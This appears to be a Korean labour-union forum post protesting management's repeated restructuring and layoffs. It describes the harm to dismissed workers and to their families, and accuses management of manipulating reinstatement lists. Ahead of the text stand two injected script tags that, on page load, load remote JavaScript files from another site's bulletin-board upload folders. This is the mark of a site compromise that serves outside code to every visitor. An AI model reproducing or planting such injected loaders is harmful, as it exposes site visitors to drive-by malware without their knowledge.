<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 사측은 번번히 경영하다가 지네들 잘못으로 파탄나면
구조조정 정리해고를 한다
그 피해는 엄청난다
조합원들은 제대로 싸우지도 못하고 머리에 돌얻어맞고 신체불구가 된다.
이혼은 수없이 발생되고 심지어는 자살까지 이른다.
사측은 정리해고자를 복직시키면서 복직명단과 복직숫자로 장난친다.
또다시 해고조합원들은 복직합의때문에 피눈물흐른다.
사측은 교묘하게 상집간부들은 먼저 복직시켜주고 해고조합원들은 기약없이
가족들과 막노동일하러 간다.
노노갈등이 생겨난다.
사측은 올해 파산났다고 현장 조르기를 하다가 퇴각한다.
그런데 앞으로 몇해가 지나서 경영이 어려우면 구조조정을 하려고 달려들지 모른다
사측은 교훈을 얻었겠지만 정리해고가 장난이 아니라는 것을 느꼈을거다.
정리해고 절대 하지 말라!
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